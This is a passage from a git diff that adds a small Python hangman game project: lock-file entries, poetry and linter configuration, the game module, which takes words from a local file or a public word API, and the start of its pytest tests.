"sha256:fd66fc5d0da6d9815ba2cebeb4205f95818ff4b79c3ebe268e75d961704af52f"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69b023b2b4daa7548bcfbd4aa3da05b3a74b772db9e23b982788168117739938"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:81e0b275a9ecc9c0c0c07b4b90ba548307583c125f54d5b6946cfee6360c733d"}, + {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba336e390cd8e4d1739f42dfe9bb83a3cc2e80f567d8805e11b46f4a943f5515"}, + {file = "PyYAML-6.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:326c013efe8048858a6d312ddd31d56e468118ad4cdeda36c719bf5bb6192290"}, + {file = "PyYAML-6.0.1-cp310-cp310-win32.whl", hash = "sha256:bd4af7373a854424dabd882decdc5579653d7868b8fb26dc7d0e99f823aa5924"}, + {file = "PyYAML-6.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:fd1592b3fdf65fff2ad0004b5e363300ef59ced41c2e6b3a99d4089fa8c5435d"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6965a7bc3cf88e5a1c3bd2e0b5c22f8d677dc88a455344035f03399034eb3007"}, + {file = "PyYAML-6.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f003ed9ad21d6a4713f0a9b5a7a0a79e08dd0f221aff4525a2be4c346ee60aab"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:42f8152b8dbc4fe7d96729ec2b99c7097d656dc1213a3229ca5383f973a5ed6d"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:062582fca9fabdd2c8b54a3ef1c978d786e0f6b3a1510e0ac93ef59e0ddae2bc"}, + {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2b04aac4d386b172d5b9692e2d2da8de7bfb6c387fa4f801fbf6fb2e6ba4673"}, + {file = "PyYAML-6.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e7d73685e87afe9f3b36c799222440d6cf362062f78be1013661b00c5c6f678b"}, + {file = "PyYAML-6.0.1-cp311-cp311-win32.whl", hash = "sha256:1635fd110e8d85d55237ab316b5b011de701ea0f29d07611174a1b42f1444741"}, + {file = "PyYAML-6.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:bf07ee2fef7014951eeb99f56f39c9bb4af143d8aa3c21b1677805985307da34"}, + {file = "PyYAML-6.0.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:855fb52b0dc35af121542a76b9a84f8d1cd886ea97c84703eaa6d88e37a2ad28"}, + {file = "PyYAML-6.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40df9b996c2b73138957fe23a16a4f0ba614f4c0efce1e9406a184b6d07fa3a9"}, + {file = "PyYAML-6.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c22bec3fbe2524cde73d7ada88f6566758a8f7227bfbf93a408a9d86bcc12a0"}, + {file = "PyYAML-6.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8d4e9c88387b0f5c7d5f281e55304de64cf7f9c0021a3525bd3b1c542da3b0e4"}, + {file = "PyYAML-6.0.1-cp312-cp312-win32.whl", hash = "sha256:d483d2cdf104e7c9fa60c544d92981f12ad66a457afae824d146093b8c294c54"}, + {file = "PyYAML-6.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:0d3304d8c0adc42be59c5f8a4d9e3d7379e6955ad754aa9d6ab7a398b59dd1df"}, + {file = "PyYAML-6.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50550eb667afee136e9a77d6dc71ae76a44df8b3e51e41b77f6de2932bfe0f47"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1fe35611261b29bd1de0070f0b2f47cb6ff71fa6595c077e42bd0c419fa27b98"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:704219a11b772aea0d8ecd7058d0082713c3562b4e271b849ad7dc4a5c90c13c"}, + {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:afd7e57eddb1a54f0f1a974bc4391af8bcce0b444685d936840f125cf046d5bd"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win32.whl", hash = "sha256:fca0e3a251908a499833aa292323f32437106001d436eca0e6e7833256674585"}, + {file = "PyYAML-6.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:f22ac1c3cac4dbc50079e965eba2c1058622631e526bd9afd45fedd49ba781fa"}, + {file = "PyYAML-6.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b1275ad35a5d18c62a7220633c913e1b42d44b46ee12554e5fd39c70a243d6a3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18aeb1bf9a78867dc38b259769503436b7c72f7a1f1f4c93ff9a17de54319b27"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:596106435fa6ad000c2991a98fa58eeb8656ef2325d7e158344fb33864ed87e3"}, + {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa90d3f661d43131ca170712d903e6295d1f7a0f595074f151c0aed377c9b9c"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win32.whl", hash = "sha256:9046c58c4395dff28dd494285c82ba00b546adfc7ef001486fbf0324bc174fba"}, + {file = "PyYAML-6.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:4fb147e7a67ef577a588a0e2c17b6db51dda102c71de36f8549b6816a96e1867"}, + {file = "PyYAML-6.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1d4c7e777c441b20e32f52bd377e0c409713e8bb1386e1099c2415f26e479595"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a0cd17c15d3bb3fa06978b4e8958dcdc6e0174ccea823003a106c7d4d7899ac5"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28c119d996beec18c05208a8bd78cbe4007878c6dd15091efb73a30e90539696"}, + {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e07cbde391ba96ab58e532ff4803f79c4129397514e1413a7dc761ccd755735"}, + {file = "PyYAML-6.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:49a183be227561de579b4a36efbb21b3eab9651dd81b1858589f796549873dd6"}, + {file = "PyYAML-6.0.1-cp38-cp38-win32.whl", hash = "sha256:184c5108a2aca3c5b3d3bf9395d50893a7ab82a38004c8f61c258d4428e80206"}, + {file = "PyYAML-6.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:1e2722cc9fbb45d9b87631ac70924c11d3a401b2d7f410cc0e3bbf249f2dca62"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9eb6caa9a297fc2c2fb8862bc5370d0303ddba53ba97e71f08023b6cd73d16a8"}, + {file = "PyYAML-6.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c8098ddcc2a85b61647b2590f825f3db38891662cfc2fc776415143f599bb859"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5773183b6446b2c99bb77e77595dd486303b4faab2b086e7b17bc6bef28865f6"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b786eecbdf8499b9ca1d697215862083bd6d2a99965554781d0d8d1ad31e13a0"}, + {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc1bf2925a1ecd43da378f4db9e4f799775d6367bdb94671027b73b393a7c42c"}, + {file = "PyYAML-6.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:04ac92ad1925b2cff1db0cfebffb6ffc43457495c9b3c39d3fcae417d7125dc5"}, + {file = "PyYAML-6.0.1-cp39-cp39-win32.whl", hash = "sha256:faca3bdcf85b2fc05d06ff3fbc1f83e1391b3e724afa3feba7d13eeab355484c"}, + {file = "PyYAML-6.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:510c9deebc5c0225e8c96813043e62b680ba2f9c50a08d3724c7f28a747d1486"}, + {file = "PyYAML-6.0.1.tar.gz", hash = "sha256:bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43"}, +] + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "requests-mock" +version = "1.11.0" +description = "Mock out responses from the requests package" +optional = false +python-versions = "*" +files = [ + {file = "requests-mock-1.11.0.tar.gz", hash = "sha256:ef10b572b489a5f28e09b708697208c4a3b2b89ef80a9f01584340ea357ec3c4"}, + {file = "requests_mock-1.11.0-py2.py3-none-any.whl", hash = "sha256:f7fae383f228633f6bececebdab236c478ace2284d6292c6e7e2867b9ab74d15"}, +] + +[package.dependencies] +requests = ">=2.3,<3" +six = "*" + +[package.extras] +fixture = ["fixtures"] +test = ["fixtures", "mock", "purl", "pytest", "requests-futures", "sphinx", "testtools"] + +[[package]] +name = "restructuredtext-lint" +version = "1.4.0" +description = "reStructuredText linter" +optional = false +python-versions = "*" +files = [ + {file = "restructuredtext_lint-1.4.0.tar.gz", hash = "sha256:1b235c0c922341ab6c530390892eb9e92f90b9b75046063e047cacfb0f050c45"}, +] + +[package.dependencies] +docutils = ">=0.11,<1.0" + +[[package]] +name = "rich" +version = "13.6.0" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.6.0-py3-none-any.whl", hash = "sha256:2b38e2fe9ca72c9a00170a1a2d20c63c790d0e10ef1fe35eba76e1e7b1d7d245"}, + {file = "rich-13.6.0.tar.gz", hash = "sha256:5c14d22737e6d5084ef4771b62d5d4363165b403455a30a1c8ca39dc7b644bef"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "setuptools" +version = "68.2.2" +description = "Easily download, build, install, upgrade, and uninstall Python packages" +optional = false +python-versions = ">=3.8" +files = [ + {file = "setuptools-68.2.2-py3-none-any.whl", hash = "sha256:b454a35605876da60632df1a60f736524eb73cc47bbc9f3f1ef1b644de74fd2a"}, + {file = "setuptools-68.2.2.tar.gz", hash = "sha256:4ac1475276d2f1c48684874089fefcd83bd7162ddaafb81fac866ba0db282a87"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing-integration = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "packaging (>=23.1)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "smmap" +version = "5.0.1" +description = "A pure Python implementation of a sliding window memory map manager" +optional = false +python-versions = ">=3.7" +files = [ + {file = "smmap-5.0.1-py3-none-any.whl", hash = "sha256:e6d8668fa5f93e706934a62d7b4db19c8d9eb8cf2adbb75ef1b675aa332b69da"}, + {file = "smmap-5.0.1.tar.gz", hash = "sha256:dceeb6c0028fdb6734471eb07c0cd2aae706ccaecab45965ee83f11c8d3b1f62"}, +] + +[[package]] +name = "snowballstemmer" +version = "2.2.0" +description = "This package provides 29 stemmers for 28 languages generated from Snowball algorithms." +optional = false +python-versions = "*" +files = [ + {file = "snowballstemmer-2.2.0-py2.py3-none-any.whl", hash = "sha256:c8e1716e83cc398ae16824e5572ae04e0d9fc2c6b985fb0f900f5f0c96ecba1a"}, + {file = "snowballstemmer-2.2.0.tar.gz", hash = "sha256:09b16deb8547d3412ad7b590689584cd0fe25ec8db3be37788be3810cbf19cb1"}, +] + +[[package]] +name = "soupsieve" +version = "2.5" +description = "A modern CSS selector implementation for Beautiful Soup." +optional = false +python-versions = ">=3.8" +files = [ + {file = "soupsieve-2.5-py3-none-any.whl", hash = "sha256:eaa337ff55a1579b6549dc679565eac1e3d000563bcb1c8ab0d0fefbc0c2cdc7"}, + {file = "soupsieve-2.5.tar.gz", hash = "sha256:5663d5a7b3bfaeee0bc4372e7fc48f9cff4940b3eec54a6451cc5299f1097690"}, +] + +[[package]] +name = "stevedore" +version = "5.1.0" +description = "Manage dynamic plugins for Python applications" +optional = false +python-versions = ">=3.8" +files = [ + {file = "stevedore-5.1.0-py3-none-any.whl", hash = "sha256:8cc040628f3cea5d7128f2e76cf486b2251a4e543c7b938f58d9a377f6694a2d"}, + {file = "stevedore-5.1.0.tar.gz", hash = "sha256:a54534acf9b89bc7ed264807013b505bf07f74dbe4bcfa37d32bd063870b087c"}, +] + +[package.dependencies] +pbr = ">=2.0.0,<2.1.0 || >2.1.0" + +[[package]] +name = "tomli" +version = "2.0.1" +description = "A lil' TOML parser" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, + {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, +] + +[[package]] +name = "types-requests" +version = "2.31.0.2" +description = "Typing stubs for requests" +optional = false +python-versions = "*" +files = [ + {file = "types-requests-2.31.0.2.tar.gz", hash = "sha256:6aa3f7faf0ea52d728bb18c0a0d1522d9bfd8c72d26ff6f61bfc3d06a411cf40"}, + {file = "types_requests-2.31.0.2-py3-none-any.whl", hash = "sha256:56d181c85b5925cbc59f4489a57e72a8b2166f18273fd8ba7b6fe0c0b986f12a"}, +] + +[package.dependencies] +types-urllib3 = "*" + +[[package]] +name = "types-urllib3" +version = "1.26.25.14" +description = "Typing stubs for urllib3" +optional = false +python-versions = "*" +files = [ + {file = "types-urllib3-1.26.25.14.tar.gz", hash = "sha256:229b7f577c951b8c1b92c1bc2b2fdb0b49847bd2af6d1cc2a2e3dd340f3bda8f"}, + {file = "types_urllib3-1.26.25.14-py3-none-any.whl", hash = "sha256:9683bbb7fb72e32bfe9d2be6e04875fbe1b3eeec3cbb4ea231435aa7fd6b4f0e"}, +] + +[[package]] +name = "typing-extensions" +version = "4.8.0" +description = "Backported and Experimental Type Hints for Python 3.8+" +optional = false +python-versions = ">=3.8" +files = [ + {file = "typing_extensions-4.8.0-py3-none-any.whl", hash = "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0"}, + {file = "typing_extensions-4.8.0.tar.gz", hash = "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef"}, +] + +[[package]] +name = "urllib3" +version = "2.0.7" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=3.7" +files = [ + {file = "urllib3-2.0.7-py3-none-any.whl", hash = "sha256:fdb6d215c776278489906c2f8916e6e7d4f5a9b602ccbcfdf7f016fc8da0596e"}, + {file = "urllib3-2.0.7.tar.gz", hash = "sha256:c97dfde1f7bd43a71c8d2a58e369e9b2bf692d1334ea9f9cae55add7d0dd0f84"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +secure = ["certifi", "cryptography (>=1.9)", "idna (>=2.0.0)", "pyopenssl (>=17.1.0)", "urllib3-secure-extra"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "wemake-python-styleguide" +version = "0.18.0" +description = "The strictest and most opinionated python linter ever" +optional = false +python-versions = ">=3.8.1,<4.0" +files = [ + {file = "wemake_python_styleguide-0.18.0-py3-none-any.whl", hash = "sha256:2219be145185edcd5e01f4ce49e3dea11acc34f2c377face0c175bb6ea6ac988"}, + {file = "wemake_python_styleguide-0.18.0.tar.gz", hash = "sha256:69139858cf5b2a9ba09dac136e2873a4685515768f68fdef2684ebefd7b1dafd"}, +] + +[package.dependencies] +astor = ">=0.8,<0.9" +attrs = "*" +darglint = ">=1.2,<2.0" +flake8 = ">5" +flake8-bandit = ">=4.1,<5.0" +flake8-broken-line = ">=1.0,<2.0" +flake8-bugbear = ">=23.5,<24.0" +flake8-commas = ">=2.0,<3.0" +flake8-comprehensions = ">=3.1,<4.0" +flake8-debugger = ">=4.0,<5.0" +flake8-docstrings = ">=1.3,<2.0" +flake8-eradicate = ">=1.5,<2.0" +flake8-isort = ">=6.0,<7.0" +flake8-quotes = ">=3.0,<4.0" +flake8-rst-docstrings = ">=0.3,<0.4" +flake8-string-format = ">=0.3,<0.4" +pep8-naming = ">=0.13,<0.14" +pygments = ">=2.4,<3.0" +setuptools = "*" +typing_extensions = ">=4.0,<5.0" + +[[package]] +name = "zipp" +version = "3.17.0" +description = "Backport of pathlib-compatible object wrapper for zip files" +optional = false +python-versions = ">=3.8" +files = [ + {file = "zipp-3.17.0-py3-none-any.whl", hash = "sha256:0e923e726174922dce09c53c59ad483ff7bbb8e572e00c7f7c46b88556409f31"}, + {file = "zipp-3.17.0.tar.gz", hash = "sha256:84e64a1c28cf7e91ed2078bb8cc8c259cb19b76942096c8d7b84947690cabaf0"}, +] + +[package.extras] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (<7.2.5)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy (>=0.9.1)", "pytest-ruff"] + +[metadata] +lock-version = "2.0" +python-versions = "^3.9" +content-hash = "b725c780b419b14540a1d4801f1849230d4e8a1b51a9381e36ff476eb8ab598c" diff --git a/Industrial_developed_hangman/pyproject.toml b/Industrial_developed_hangman/pyproject.toml new file mode 100644 index 00000000000..b70606ab82f --- /dev/null +++ b/Industrial_developed_hangman/pyproject.toml @@ -0,0 +1,35 @@ +[tool.poetry] +name = "Hangman" +version = "0.2.0" +description = "" +authors = ["DiodDan "] +readme = "README.md" +packages = [{include = "hangman", from = "src"}] + +[tool.poetry.dependencies] +python = "^3.9" +requests = "2.31.0" +colorama = "0.4.6" +beautifulsoup4 = "4.12" + + +[tool.poetry.group.dev.dependencies] +mypy = "1.5.1" +wemake-python-styleguide = "0.18.0" +isort = "5.12.0" +pytest = "7.4.2" +pytest-cov = "4.1.0" +pytest-timeout = "2.2.0" +pytest-randomly = "3.15.0" +requests-mock = "1.11.0" +pytest-freezer = "0.4.8" +types-requests = " 2.31.0.2" + +[build-system] +requires = ["poetry-core", "colorama", "bs4", "requests"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +line_length = 80 +multi_line_output = 3 +include_trailing_comma = true diff --git a/Industrial_developed_hangman/pytest.ini b/Industrial_developed_hangman/pytest.ini new file mode 100644 index 00000000000..f51da414608 --- /dev/null +++ b/Industrial_developed_hangman/pytest.ini @@ -0,0 +1,5 @@ +[pytest] +markers = + internet_required: marks tests that requires internet connection (deselect with '-m "not internet_required"') + serial +timeout = 20 diff --git a/Industrial_developed_hangman/recorces/img.png b/Industrial_developed_hangman/recorces/img.png new file mode 100644 index 00000000000..eb9930e1d23 Binary files /dev/null and b/Industrial_developed_hangman/recorces/img.png differ diff --git a/Industrial_developed_hangman/setup.cfg b/Industrial_developed_hangman/setup.cfg new file mode 100644 index 00000000000..f57029a0492 --- /dev/null +++ b/Industrial_developed_hangman/setup.cfg @@ -0,0 +1,48 @@ +[flake8] +max-line-length = 120 +docstring_style = sphinx +max-arguments = 6 +exps-for-one-empty-line = 0 +ignore = + D100, + D104, + +per-file-ignores = + tests/*: + # Missing docstring in public class + D101, + # Missing docstring in public method + D102, + # Missing docstring in public function + D103, + # Missing docstring in magic method + D105, + # Missing docstring in __init__ + D107, + # Use of assert detected. The enclosed code will be removed when compiling to optimised byte code. + S101, + # Found magic number + WPS432, + # Found wrong keyword: pass + WPS420, + # Found incorrect node inside `class` body + WPS604, + # Found outer scope names shadowing: message_update + WPS442, + # Found comparison with float or complex number + WPS459, + # split between test action and assert + WPS473, + # Found compare with falsy constant + WPS520, + # Found string literal over-use + WPS226 + # Found overused expression + WPS204 + # Found too many module members + WPS202 + +[mypy] +ignore_missing_imports = True +check_untyped_defs = True +disallow_untyped_calls = True diff --git a/Industrial_developed_hangman/src/hangman/__init__.py b/Industrial_developed_hangman/src/hangman/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Industrial_developed_hangman/src/hangman/main.py b/Industrial_developed_hangman/src/hangman/main.py new file mode 100644 index 00000000000..3839d9222f1 --- /dev/null +++ b/Industrial_developed_hangman/src/hangman/main.py @@ -0,0 +1,183 @@ +import json +import random +import time +from enum import Enum +from pathlib import Path +from typing import Callable, List + +import requests +from colorama import Fore, Style + +DEBUG = False +success_code = 200 +request_timeout = 1000 +data_path = Path(__file__).parent.parent.parent / "Data" +year = 4800566455 + + +class Source(Enum): + """Enum that represents switch between local and web word parsing.""" + + FROM_FILE = 0 # noqa: WPS115 + FROM_INTERNET = 1 # noqa: WPS115 + + +def print_wrong(text: str, print_function: Callable[[str], None]) -> None: + """ + Print styled text(red). + + :parameter text: text to print. + :parameter print_function: Function that will be used to print in game. + """ + text_to_print = Style.RESET_ALL + Fore.RED + text + print_function(text_to_print) + + +def print_right(text: str, print_function: Callable[[str], None]) -> None: + """ + Print styled text(red). + + :parameter text: text to print. + :parameter print_function: Function that will be used to print in game. + """ + print_function(Style.RESET_ALL + Fore.GREEN + text) + + +def parse_word_from_local( + choice_function: Callable[[List[str]], str] = random.choice, +) -> str: + # noqa: DAR201 + """ + Parse word from local file. + + :parameter choice_function: Function that will be used to choice a word from file. + :returns str: string that contains the word. + :raises FileNotFoundError: file to read words not found. + """ + try: + with open(data_path / "local_words.txt", encoding="utf8") as words_file: + return choice_function(words_file.read().split("\n")) + except FileNotFoundError: + raise FileNotFoundError("File local_words.txt was not found") + + +def parse_word_from_site( + url: str = "https://random-word-api.herokuapp.com/word", +) -> str: + # noqa: DAR201 + """ + Parse word from website. + + :param url: url that word will be parsed from. + :return Optional[str]: string that contains the word. + :raises ConnectionError: no connection to the internet. + :raises RuntimeError: something go wrong with getting the word from site. + """ + try: + response: requests.Response = requests.get(url, timeout=request_timeout) + except ConnectionError: + raise ConnectionError("There is no connection to the internet") + if response.status_code == success_code: + return json.loads(response.content.decode())[0] + raise RuntimeError("Something go wrong with getting the word from site") + + +class MainProcess(object): + """Manages game process.""" + + def __init__( + self, source: Enum, pr_func: Callable, in_func: Callable, ch_func: Callable + ) -> None: + """ + Init MainProcess object. + + :parameter in_func: Function that will be used to get input in game. + :parameter source: Represents source to get word. + :parameter pr_func: Function that will be used to print in game. + :parameter ch_func: Function that will be used to choice word. + """ + self._source = source + self._answer_word = "" + self._word_string_to_show = "" + self._guess_attempts_coefficient = 2 + self._print_function = pr_func + self._input_function = in_func + self._choice_function = ch_func + + def get_word(self) -> str: + # noqa: DAR201 + """ + Parse word(wrapper for local and web parse). + + :returns str: string that contains the word. + :raises AttributeError: Not existing enum + """ + if self._source == Source.FROM_INTERNET: + return parse_word_from_site() + elif self._source == Source.FROM_FILE: + return parse_word_from_local(self._choice_function) + raise AttributeError("Non existing enum") + + def user_lose(self) -> None: + """Print text for end of game and exits.""" + print_wrong( + f"YOU LOST(the word was '{self._answer_word}')", self._print_function + ) # noqa:WPS305 + + def user_win(self) -> None: + """Print text for end of game and exits.""" + print_wrong(f"{self._word_string_to_show} YOU WON", self._print_function) # noqa:WPS305 + + def game_process(self, user_character: str) -> bool: + # noqa: DAR201 + """ + Process user input. + + :parameter user_character: User character. + :returns bool: state of game. + """ + if user_character in self._answer_word: + word_list_to_show = list(self._word_string_to_show) + for index, character in enumerate(self._answer_word): + if character == user_character: + word_list_to_show[index] = user_character + self._word_string_to_show = "".join(word_list_to_show) + else: + print_wrong("There is no such character in word", self._print_function) + if self._answer_word == self._word_string_to_show: + self.user_win() + return True + return False + + def start_game(self) -> None: + """Start main process of the game.""" + if time.time() > year: + print_right("this program is more then 100years age", self._print_function) + with open(data_path / "text_images.txt", encoding="utf8") as text_images_file: + print_wrong(text_images_file.read(), self._print_function) + print_wrong("Start guessing...", self._print_function) + self._answer_word = self.get_word() + self._word_string_to_show = "_" * len(self._answer_word) + attempts_amount = int(self._guess_attempts_coefficient * len(self._answer_word)) + if DEBUG: + print_right(self._answer_word, self._print_function) + for attempts in range(attempts_amount): + user_remaining_attempts = attempts_amount - attempts + print_right( + f"You have {user_remaining_attempts} more attempts", + self._print_function, + ) # noqa:WPS305 + print_right( + f"{self._word_string_to_show} enter character to guess: ", + self._print_function, + ) # noqa:WPS305 + user_character = self._input_function().lower() + if self.game_process(user_character): + break + if "_" in self._word_string_to_show: + self.user_lose() + + +if __name__ == "__main__": + main_process = MainProcess(Source(1), print, input, random.choice) + main_process.start_game() diff --git a/Industrial_developed_hangman/tests/__init__.py b/Industrial_developed_hangman/tests/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Industrial_developed_hangman/tests/test_hangman/__init__.py b/Industrial_developed_hangman/tests/test_hangman/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/Industrial_developed_hangman/tests/test_hangman/test_main.py b/Industrial_developed_hangman/tests/test_hangman/test_main.py new file mode 100644 index 00000000000..6567e56b765 --- /dev/null +++ b/Industrial_developed_hangman/tests/test_hangman/test_main.py @@ -0,0 +1,97 @@ +from typing import Callable, List + +import pytest +import requests_mock + +from src.hangman.main import ( + MainProcess, + Source, + parse_word_from_site, +) + + +class FkPrint(object): + def __init__(self) -> None: + self.container: List[str] = [] + + def __call__(self, value_to_print: str) -> None: + self.container.append(str(value_to_print)) + + +class FkInput(object): + def __init__(self, values_to_input: List[str]) -> None: + self.values_to_input: List[str] = values_to_input + + def __call__(self) -> str: + return self.values_to_input.pop(0) + + +@pytest.fixture +def choice_fn() -> Callable: + return lambda array: array[0] # noqa: E731 + + +@pytest.mark.internet_required +def test_parse_word_from_site() -> None: + assert isinstance(parse_word_from_site(), str) + + +def test_parse_word_from_site_no_internet() -> None: + with requests_mock.Mocker() as mock: + mock.get("https://random-word-api.herokuapp.com/word", text='["some text"]') + assert parse_word_from_site() == "some text" + + +def test_parse_word_from_site_err() -> None: + with pytest.raises(RuntimeError): + parse_word_from_site(url="https://www.google.com/dsfsdfds/sdfsdf/sdfds") + + +def test_get_word(choice_fn: Callable) -> None: + fk_print = FkPrint() + fk_input = FkInput(["none"]) + main_process = MainProcess( + Source(1), pr_func=fk_print, in_func=fk_input, ch_func=choice_fn + ) + + assert isinstance(main_process.get_word(), str) + + +def test_start_game_win(choice_fn: 